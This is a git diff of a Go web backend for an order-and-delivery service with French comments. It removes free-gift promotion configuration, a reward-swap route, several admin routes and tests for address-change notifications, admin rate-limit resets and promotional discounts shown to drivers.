IsReward bool `json:"is_reward"`
|
||||
RewardPoolKey string `json:"reward_pool_key,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
||||
}
|
||||
|
||||
@@ -86,39 +86,6 @@ type CategoryPromotionConfig struct {
|
||||
Products []PromotionProductQuantity `json:"products"` // produits + quantité individuelle si AllProducts = false
|
||||
}
|
||||
|
||||
// FreeGiftTier définit un seuil d'achat et la quantité offerte associée, du
|
||||
// même produit — plusieurs seuils peuvent coexister pour un même produit
|
||||
// (ex: 10g achetés → 1g offert, 20g achetés → 3g offerts) ; le seuil le plus
|
||||
// élevé atteint par la quantité commandée est retenu (voir ResolveFreeGift).
|
||||
type FreeGiftTier struct {
|
||||
BuyQuantity float64 `json:"buy_quantity"` // quantité à acheter pour déclencher l'offre
|
||||
FreeQuantity float64 `json:"free_quantity"` // quantité offerte du même produit
|
||||
}
|
||||
|
||||
// FreeGiftProductQuantity associe un produit à ses propres seuils
|
||||
// d'achat/offre, pour le cas où une catégorie n'est pas configurée en "tous
|
||||
// les produits" — même logique que PromotionProductQuantity mais pour les
|
||||
// offres quantité achetée/offerte.
|
||||
type FreeGiftProductQuantity struct {
|
||||
ProductID int `json:"product_id"`
|
||||
Tiers []FreeGiftTier `json:"tiers"`
|
||||
}
|
||||
|
||||
// CategoryFreeGiftConfig définit une offre "achetez X, Y offert" (du même
|
||||
// produit) appliquée automatiquement dès que la quantité ajoutée au panier
|
||||
// atteint un seuil configuré — indépendant des points de fidélité et des
|
||||
// promotions (cumulable avec elles).
|
||||
//
|
||||
// Si AllProducts = true, Tiers s'applique uniformément à tous les produits de
|
||||
// la catégorie. Si AllProducts = false, chaque produit sélectionné dans
|
||||
// Products a ses propres seuils (Tiers au niveau catégorie est alors ignoré).
|
||||
type CategoryFreeGiftConfig struct {
|
||||
Category string `json:"category"` // nom de la catégorie
|
||||
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
|
||||
Tiers []FreeGiftTier `json:"tiers"` // seuils uniformes si AllProducts = true
|
||||
Products []FreeGiftProductQuantity `json:"products"` // produits + seuils individuels si AllProducts = false
|
||||
}
|
||||
|
||||
// DaySchedule représente les horaires de livraison pour un jour de la semaine
|
||||
type DaySchedule struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
@@ -174,8 +141,6 @@ type AppSettings struct {
|
||||
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
|
||||
PromotionsEnabled bool `json:"promotions_enabled"` // activer/désactiver les promotions
|
||||
Promotions []CategoryPromotionConfig `json:"promotions"` // promotions (% de réduction) par catégorie
|
||||
FreeGiftsEnabled bool `json:"free_gifts_enabled"` // activer/désactiver les offres "achetez X, Y offert"
|
||||
FreeGifts []CategoryFreeGiftConfig `json:"free_gifts"` // offres quantité achetée/offerte par catégorie
|
||||
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
|
||||
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
|
||||
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
|
||||
|
||||
@@ -121,7 +121,6 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
||||
// 🏆 POINTS & RÉCOMPENSES CLIENT
|
||||
cartGroupV1.GET("/points/rewards", handlers.GetMyPointsRewards)
|
||||
cartGroupV1.POST("/points/claim", handlers.ClaimMyReward)
|
||||
cartGroupV1.PUT("/points/swap", handlers.SwapMyRewardProduct)
|
||||
|
||||
// 💸 STATUT PAIEMENT CRYPTO
|
||||
cartGroupV1.GET("/commands/:id/payment-status", handlers.GetCommandPaymentStatus)
|
||||
@@ -286,17 +285,14 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
||||
// ============================================
|
||||
// ⭐⭐ PÉNALITÉS - GESTION ADMIN
|
||||
// ============================================
|
||||
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
||||
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset amende
|
||||
adminGroupV2.POST("/client/:username/point/reset", handlers.ResetClientPointAdmin) // Reset points → 0
|
||||
adminGroupV2.POST("/client/:username/points/add", handlers.AddClientPointsAdmin) // Ajouter points par pool
|
||||
adminGroupV2.POST("/client/:username/points/subtract", handlers.SubtractClientPointsAdmin) // Enlever points par pool
|
||||
adminGroupV2.POST("/client/:username/rewards/reset", handlers.AdminResetClientRedeemed) // Reset récompenses réclamées
|
||||
adminGroupV2.GET("/client/:username/rewards/orders", handlers.AdminGetClientRewardOrders) // Commandes avec récompense
|
||||
adminGroupV2.POST("/client/:username/rewards/decrement", handlers.AdminDecrementClientRedeemed) // Annuler 1 récompense réclamée
|
||||
adminGroupV2.POST("/client/:username/ratelimit/reset", handlers.ResetClientRateLimitAdmin) // Lever les rate limits
|
||||
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
||||
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
||||
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset amende
|
||||
adminGroupV2.POST("/client/:username/point/reset", handlers.ResetClientPointAdmin) // Reset points → 0
|
||||
adminGroupV2.POST("/client/:username/points/add", handlers.AddClientPointsAdmin) // Ajouter points par pool
|
||||
adminGroupV2.POST("/client/:username/points/subtract", handlers.SubtractClientPointsAdmin) // Enlever points par pool
|
||||
adminGroupV2.POST("/client/:username/rewards/reset", handlers.AdminResetClientRedeemed) // Reset récompenses réclamées
|
||||
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
||||
adminGroupV2.GET("/penalties/stats", handlers.GetPenaltiesStats)
|
||||
|
||||
// ============================================
|
||||
|
||||
@@ -21,9 +21,9 @@ type AddressSuggestion struct {
|
||||
OriginalAddress string `json:"original_address"`
|
||||
CorrectedAddress string `json:"corrected_address"`
|
||||
Coordinates Coordinates `json:"coordinates"`
|
||||
Confidence float64 `json:"confidence"`
|
||||
CorrectionApplied bool `json:"correction_applied"`
|
||||
Source string `json:"source"`
|
||||
Confidence float64 `json:"confidence"` // 0.0 à 1.0
|
||||
CorrectionApplied bool `json:"correction_applied"` // true si une correction a été faite
|
||||
Source string `json:"source"` // "exact", "fuzzy", "structured"
|
||||
}
|
||||
|
||||
// NominatimSuggestion représente une réponse de l'API Nominatim
|
||||
|
||||
@@ -1,107 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"gestion/db"
|
||||
"gestion/handlers"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// Si le livreur est déjà en route quand le client accepte une proposition
|
||||
// d'adresse (ProposeAddressChange autorise ce cas même en "en_route" — voir
|
||||
// commands.go ~L236-240), il doit être notifié que la destination a changé,
|
||||
// sans quoi il continuerait à naviguer vers l'ancienne adresse alors que la
|
||||
// nouvelle est déjà enregistrée en base (voir RespondToAddressProposal).
|
||||
func TestRespondToAddressProposal_NotifiesLivreurWhenAlreadyEnRoute(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("appelle le vrai service Nominatim en réseau — sauté en mode -short")
|
||||
}
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "respond_addr_notif_client")
|
||||
livreur := newTestClient(t, "respond_addr_notif_livreur")
|
||||
productID := newTestProduct(t, "RespondAddrNotif", 10)
|
||||
cmdID := newTestCommandWithItem(t, username, "en_route", livreur, productID, 1, 10)
|
||||
|
||||
if err := testDB.ProposeAddressChange(cmdID, "12 rue Crebillon, 44000 Nantes", "admin_test"); err != nil {
|
||||
t.Fatalf("ProposeAddressChange: %v", err)
|
||||
}
|
||||
|
||||
notifKey := fmt.Sprintf("notifications:%s", livreur)
|
||||
db.Redis.Del(db.RedisCtx, notifKey)
|
||||
|
||||
body := []byte(`{"accepted":true}`)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/commands/address/respond", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("geoService", ensureTestGeoService())
|
||||
c.Set("username", username)
|
||||
c.Set("role", "client")
|
||||
c.Params = gin.Params{{Key: "id", Value: fmt.Sprintf("%d", cmdID)}}
|
||||
|
||||
handlers.RespondToAddressProposal(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("RespondToAddressProposal doit réussir: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
entries, err := db.Redis.LRange(db.RedisCtx, notifKey, 0, -1).Result()
|
||||
if err != nil {
|
||||
t.Fatalf("lecture notifications livreur: %v", err)
|
||||
}
|
||||
var found bool
|
||||
for _, raw := range entries {
|
||||
var notif struct {
|
||||
CommandID int `json:"command_id"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), ¬if); err == nil && notif.CommandID == cmdID && notif.Type == "address_changed" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("le livreur déjà en route doit être notifié du changement d'adresse (type=address_changed, command_id=%d): notifications=%v", cmdID, entries)
|
||||
}
|
||||
}
|
||||
|
||||
// Si aucun livreur n'est assigné, il ne doit évidemment pas y avoir de
|
||||
// notification livreur envoyée (pas de panique/erreur non plus).
|
||||
func TestRespondToAddressProposal_NoLivreurNotificationWhenNoneAssigned(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("appelle le vrai service Nominatim en réseau — sauté en mode -short")
|
||||
}
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "respond_addr_notif_nolivreur")
|
||||
productID := newTestProduct(t, "RespondAddrNotifNoLivreur", 10)
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 10)
|
||||
|
||||
if err := testDB.ProposeAddressChange(cmdID, "12 rue Crebillon, 44000 Nantes", "admin_test"); err != nil {
|
||||
t.Fatalf("ProposeAddressChange: %v", err)
|
||||
}
|
||||
|
||||
body := []byte(`{"accepted":true}`)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/commands/address/respond", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("geoService", ensureTestGeoService())
|
||||
c.Set("username", username)
|
||||
c.Set("role", "client")
|
||||
c.Params = gin.Params{{Key: "id", Value: fmt.Sprintf("%d", cmdID)}}
|
||||
|
||||
handlers.RespondToAddressProposal(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("RespondToAddressProposal doit réussir: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
@@ -1,244 +0,0 @@
|
||||
// Tests du statut "rate_limited" exposé par GET /all/clients et de la levée
|
||||
// des rate limits par un admin (POST /client/:username/ratelimit/reset).
|
||||
// Couvre les trois limites client : requêtes panier/commande (Redis),
|
||||
// annulations et modification d'adresse (mémoire).
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"gestion/db"
|
||||
"gestion/handlers"
|
||||
"gestion/middleware"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func clientID(t *testing.T, username string) int {
|
||||
t.Helper()
|
||||
cl, err := testDB.GetClientByUsername(username)
|
||||
if err != nil || cl == nil {
|
||||
t.Fatalf("client %q introuvable: %v", username, err)
|
||||
}
|
||||
return cl.ID
|
||||
}
|
||||
|
||||
func setRequestCount(t *testing.T, username string, count int) {
|
||||
t.Helper()
|
||||
key := middleware.ClientRateLimitKey(clientID(t, username))
|
||||
if err := db.Redis.Set(db.RedisCtx, key, count, 0).Err(); err != nil {
|
||||
t.Fatalf("set compteur redis: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { db.Redis.Del(db.RedisCtx, key) })
|
||||
}
|
||||
|
||||
// rateLimitedStatus renvoie le champ rate_limited de chaque client de la
|
||||
// première page de GET /all/clients.
|
||||
func rateLimitedStatus(t *testing.T) map[string]bool {
|
||||
t.Helper()
|
||||
c, rec := clientsListContext("admin", url.Values{})
|
||||
handlers.GetAllClients(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("GetAllClients: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp struct {
|
||||
Clients []struct {
|
||||
Username string `json:"username"`
|
||||
RateLimited bool `json:"rate_limited"`
|
||||
} `json:"clients"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v", err)
|
||||
}
|
||||
status := make(map[string]bool, len(resp.Clients))
|
||||
for _, cl := range resp.Clients {
|
||||
status[cl.Username] = cl.RateLimited
|
||||
}
|
||||
return status
|
||||
}
|
||||
|
||||
func resetRateLimit(t *testing.T, role, username string) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = httptest.NewRequest(http.MethodPost, "/api/v2/admin/protected/client/"+username+"/ratelimit/reset", nil)
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", role)
|
||||
c.Set("username", testUserPrefix+"rl_admin")
|
||||
c.Params = gin.Params{{Key: "username", Value: username}}
|
||||
handlers.ResetClientRateLimitAdmin(c)
|
||||
return rec
|
||||
}
|
||||
|
||||
func clientContext(username, method, path string, body string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = httptest.NewRequest(method, path, strings.NewReader(body))
|
||||
c.Request.Header.Set("Content-Type", "application/json")
|
||||
c.Set("database", testDB)
|
||||
c.Set("geoService", ensureTestGeoService())
|
||||
c.Set("role", "client")
|
||||
c.Set("username", username)
|
||||
// id=0 est rejeté après le contrôle du rate limit : chaque appel compte
|
||||
// une tentative sans toucher à une vraie commande.
|
||||
c.Params = gin.Params{{Key: "id", Value: "0"}}
|
||||
return c, rec
|
||||
}
|
||||
|
||||
func cancelAttempt(username string) int {
|
||||
c, rec := clientContext(username, http.MethodPost, "/api/v1/commands/0/cancel", `{}`)
|
||||
handlers.CancelCommandByClient(c)
|
||||
return rec.Code
|
||||
}
|
||||
|
||||
func addressAttempt(username string) int {
|
||||
c, rec := clientContext(username, http.MethodPut, "/api/v1/commands/0/address", `{"delivery_address":"1 rue test"}`)
|
||||
handlers.UpdateOwnCommandAddress(c)
|
||||
return rec.Code
|
||||
}
|
||||
|
||||
// ── Statut rate_limited (Redis) ────────────────────────────────────────────
|
||||
|
||||
func TestGetAllClients_RateLimitedReflectsRequestCounter(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
blocked := newTestClient(t, "rl_blocked")
|
||||
atLimit := newTestClient(t, "rl_at_limit")
|
||||
free := newTestClient(t, "rl_free")
|
||||
|
||||
setRequestCount(t, blocked, middleware.ClientRateLimitMax+1)
|
||||
// Le middleware ne bloque qu'au-delà du max : pile au max, la requête passe encore.
|
||||
setRequestCount(t, atLimit, middleware.ClientRateLimitMax)
|
||||
|
||||
status := rateLimitedStatus(t)
|
||||
if !status[blocked] {
|
||||
t.Errorf("%s (compteur > max) doit être rate_limited", blocked)
|
||||
}
|
||||
if status[atLimit] {
|
||||
t.Errorf("%s (compteur = max) ne doit pas être rate_limited", atLimit)
|
||||
}
|
||||
if status[free] {
|
||||
t.Errorf("%s (aucun compteur) ne doit pas être rate_limited", free)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Levée du rate limit ─────────────────────────────────────────────────────
|
||||
|
||||
func TestResetClientRateLimit_ClearsRequestCounter(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "rl_reset_redis")
|
||||
setRequestCount(t, username, middleware.ClientRateLimitMax+50)
|
||||
|
||||
if rec := resetRateLimit(t, "admin", username); rec.Code != http.StatusOK {
|
||||
t.Fatalf("reset: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
key := middleware.ClientRateLimitKey(clientID(t, username))
|
||||
if n, _ := db.Redis.Exists(db.RedisCtx, key).Result(); n != 0 {
|
||||
t.Errorf("le compteur Redis doit être supprimé après le reset")
|
||||
}
|
||||
if rateLimitedStatus(t)[username] {
|
||||
t.Errorf("%s ne doit plus être rate_limited après le reset", username)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResetClientRateLimit_ClearsCancelLimit(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "rl_reset_cancel")
|
||||
t.Cleanup(func() { resetRateLimit(t, "admin", username) })
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
cancelAttempt(username)
|
||||
}
|
||||
if code := cancelAttempt(username); code != http.StatusTooManyRequests {
|
||||
t.Fatalf("6e annulation doit être bloquée: got=%d want=429", code)
|
||||
}
|
||||
if !rateLimitedStatus(t)[username] {
|
||||
t.Fatalf("%s bloqué sur les annulations doit être rate_limited", username)
|
||||
}
|
||||
|
||||
if rec := resetRateLimit(t, "admin", username); rec.Code != http.StatusOK {
|
||||
t.Fatalf("reset: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
if rateLimitedStatus(t)[username] {
|
||||
t.Errorf("%s ne doit plus être rate_limited après le reset", username)
|
||||
}
|
||||
if code := cancelAttempt(username); code == http.StatusTooManyRequests {
|
||||
t.Errorf("après le reset, l'annulation ne doit plus être bloquée par le rate limit")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResetClientRateLimit_ClearsAddressLimit(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "rl_reset_addr")
|
||||
t.Cleanup(func() { resetRateLimit(t, "admin", username) })
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
addressAttempt(username)
|
||||
}
|
||||
if code := addressAttempt(username); code != http.StatusTooManyRequests {
|
||||
t.Fatalf("11e modification d'adresse doit être bloquée: got=%d want=429", code)
|
||||
}
|
||||
if !rateLimitedStatus(t)[username] {
|
||||
t.Fatalf("%s bloqué sur les modifications d'adresse doit être rate_limited", username)
|
||||
}
|
||||
|
||||
if rec := resetRateLimit(t, "admin", username); rec.Code != http.StatusOK {
|
||||
t.Fatalf("reset: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
if rateLimitedStatus(t)[username] {
|
||||
t.Errorf("%s ne doit plus être rate_limited après le reset", username)
|
||||
}
|
||||
if code := addressAttempt(username); code == http.StatusTooManyRequests {
|
||||
t.Errorf("après le reset, la modification d'adresse ne doit plus être bloquée par le rate limit")
|
||||
}
|
||||
}
|
||||
|
||||
// Le reset d'un client ne doit pas débloquer les autres.
|
||||
func TestResetClientRateLimit_OnlyAffectsTargetClient(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
target := newTestClient(t, "rl_target")
|
||||
other := newTestClient(t, "rl_other")
|
||||
setRequestCount(t, target, middleware.ClientRateLimitMax+1)
|
||||
setRequestCount(t, other, middleware.ClientRateLimitMax+1)
|
||||
|
||||
if rec := resetRateLimit(t, "admin", target); rec.Code != http.StatusOK {
|
||||
t.Fatalf("reset: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
status := rateLimitedStatus(t)
|
||||
if status[target] {
|
||||
t.Errorf("%s doit être débloqué", target)
|
||||
}
|
||||
if !status[other] {
|
||||
t.Errorf("%s ne doit pas être affecté par le reset d'un autre client", other)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResetClientRateLimit_RejectsNonAdmin(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "rl_forbidden")
|
||||
setRequestCount(t, username, middleware.ClientRateLimitMax+1)
|
||||
|
||||
for _, role := range []string{"cabine", "livreur", "client"} {
|
||||
if rec := resetRateLimit(t, role, username); rec.Code != http.StatusForbidden {
|
||||
t.Errorf("role %s doit être refusé: got=%d want=403", role, rec.Code)
|
||||
}
|
||||
}
|
||||
if !rateLimitedStatus(t)[username] {
|
||||
t.Errorf("un reset refusé ne doit pas débloquer le client")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResetClientRateLimit_UnknownClientReturns404(t *testing.T) {
|
||||
rec := resetRateLimit(t, "admin", testUserPrefix+"rl_does_not_exist")
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Errorf("client inconnu: got=%d want=404", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -66,7 +66,7 @@ func TestUpdateDeliveryStatus_GPS_ValidatesDeliveryAtModerateDistance(t *testing
|
||||
livreur := newTestClient(t, "gps_livreur_within")
|
||||
client := newTestClient(t, "gps_client_within")
|
||||
productID := newTestProduct(t, "GPSWithin", 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "arrived", livreur, productID, 1, 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 1, 10)
|
||||
setCommandDestination(t, cmdID, nantesLat, nantesLon)
|
||||
|
||||
livreurLat, livreurLon := destinationPointNorthOf(nantesLat, nantesLon, 200)
|
||||
@@ -90,7 +90,7 @@ func TestUpdateDeliveryStatus_GPS_FarBeyondOldThresholdStillValidatesDelivery(t
|
||||
livreur := newTestClient(t, "gps_livreur_far")
|
||||
client := newTestClient(t, "gps_client_far")
|
||||
productID := newTestProduct(t, "GPSFar", 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "arrived", livreur, productID, 1, 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 1, 10)
|
||||
setCommandDestination(t, cmdID, nantesLat, nantesLon)
|
||||
|
||||
livreurLat, livreurLon := destinationPointNorthOf(nantesLat, nantesLon, 5000) // 5km : loin de toute ancienne limite
|
||||
@@ -111,7 +111,7 @@ func TestUpdateDeliveryStatus_GPS_MissingCoordinatesRejected(t *testing.T) {
|
||||
livreur := newTestClient(t, "gps_livreur_missing_coords")
|
||||
client := newTestClient(t, "gps_client_missing_coords")
|
||||
productID := newTestProduct(t, "GPSMissingCoords", 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "arrived", livreur, productID, 1, 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 1, 10)
|
||||
setCommandDestination(t, cmdID, nantesLat, nantesLon)
|
||||
|
||||
body, _ := json.Marshal(map[string]any{"status": "livre"}) // latitude/longitude absents (zéro)
|
||||
@@ -121,8 +121,8 @@ func TestUpdateDeliveryStatus_GPS_MissingCoordinatesRejected(t *testing.T) {
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status HTTP sans coordonnées: got=%d want=%d body=%s", rec.Code, http.StatusBadRequest, rec.Body.String())
|
||||
}
|
||||
if got := commandStatus(t, cmdID); got != "arrived" {
|
||||
t.Errorf("le statut ne doit pas changer sans coordonnées GPS: got=%s want=arrived", got)
|
||||
if got := commandStatus(t, cmdID); got != "en_route" {
|
||||
t.Errorf("le statut ne doit pas changer sans coordonnées GPS: got=%s want=en_route", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -134,7 +134,7 @@ func TestUpdateDeliveryStatus_GPS_MissingDestinationCoordinatesSkipsValidation(t
|
||||
livreur := newTestClient(t, "gps_livreur_no_dest")
|
||||
client := newTestClient(t, "gps_client_no_dest")
|
||||
productID := newTestProduct(t, "GPSNoDest", 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "arrived", livreur, productID, 1, 10)
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 1, 10)
|
||||
// Pas d'appel à setCommandDestination : dest_latitude/dest_longitude restent à 0/NULL.
|
||||
|
||||
body, _ := json.Marshal(map[string]any{"status": "livre", "latitude": 48.8566, "longitude": 2.3522}) // Paris, sans rapport
|
||||
|
||||
@@ -1,135 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"gestion/handlers"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func myDeliveriesContext(username, status string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
url := "/api/v1/livreur/deliveries"
|
||||
if status != "" {
|
||||
url += "?status=" + status
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, url, nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("username", username)
|
||||
c.Set("role", "livreur")
|
||||
return c, rec
|
||||
}
|
||||
|
||||
// Le livreur doit voir qu'un article a bénéficié d'une promotion de prix
|
||||
// (promo_discount > 0), pour pouvoir justifier au client un montant total
|
||||
// inférieur au prix catalogue — voir GetDeliveryDetails/GetMyDeliveries
|
||||
// (backend/gestion/handlers/deleviry.go) et GetCommandItems/GetCommandItemsBatch
|
||||
// (backend/gestion/db/db_command_items.go).
|
||||
func TestGetDeliveryDetails_ExposesPromoDiscountPerItem(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
client := newTestClient(t, "delivpromo_client")
|
||||
livreur := newTestClient(t, "delivpromo_livreur")
|
||||
productID := newTestProduct(t, "DelivPromoDiscount", 20)
|
||||
|
||||
// 3g normalement à 50€, facturés 25€ (-50%) : promo_discount = 25€.
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
||||
cmdID, productID,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
||||
}
|
||||
|
||||
c, rec := deliveryDetailsContext(livreur, cmdID)
|
||||
handlers.GetDeliveryDetails(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
Success bool `json:"success"`
|
||||
Delivery struct {
|
||||
Items []struct {
|
||||
Produit string `json:"produit"`
|
||||
Prix float64 `json:"prix"`
|
||||
PromoDiscount float64 `json:"promo_discount"`
|
||||
} `json:"items"`
|
||||
} `json:"delivery"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success || len(resp.Delivery.Items) != 1 {
|
||||
t.Fatalf("réponse inattendue: body=%s", rec.Body.String())
|
||||
}
|
||||
|
||||
item := resp.Delivery.Items[0]
|
||||
if item.PromoDiscount != 25 {
|
||||
t.Errorf("promo_discount doit être exposé au livreur: got=%.2f want=25.00 (body=%s)", item.PromoDiscount, rec.Body.String())
|
||||
}
|
||||
if item.Prix != 25 {
|
||||
t.Errorf("le prix affiché doit rester le prix déjà réduit facturé: got=%.2f want=25.00", item.Prix)
|
||||
}
|
||||
}
|
||||
|
||||
// Même vérification côté GetMyDeliveries (liste des livraisons), qui passe
|
||||
// par un chemin de requête différent (GetCommandItemsBatch) que
|
||||
// GetDeliveryDetails (GetCommandItems).
|
||||
func TestGetMyDeliveries_ExposesPromoDiscountPerItem(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
client := newTestClient(t, "delivpromo_list_client")
|
||||
livreur := newTestClient(t, "delivpromo_list_livreur")
|
||||
productID := newTestProduct(t, "DelivPromoListDiscount", 20)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
||||
cmdID, productID,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
||||
}
|
||||
|
||||
c, rec := myDeliveriesContext(livreur, "")
|
||||
handlers.GetMyDeliveries(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
Success bool `json:"success"`
|
||||
Deliveries []struct {
|
||||
ID int `json:"id"`
|
||||
Items []struct {
|
||||
PromoDiscount float64 `json:"promo_discount"`
|
||||
} `json:"items"`
|
||||
} `json:"deliveries"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success {
|
||||
t.Fatalf("réponse non successful: body=%s", rec.Body.String())
|
||||
}
|
||||
|
||||
var found bool
|
||||
for _, d := range resp.Deliveries {
|
||||
if d.ID != cmdID {
|
||||
continue
|
||||
}
|
||||
if len(d.Items) != 1 || d.Items[0].PromoDiscount != 25 {
|
||||
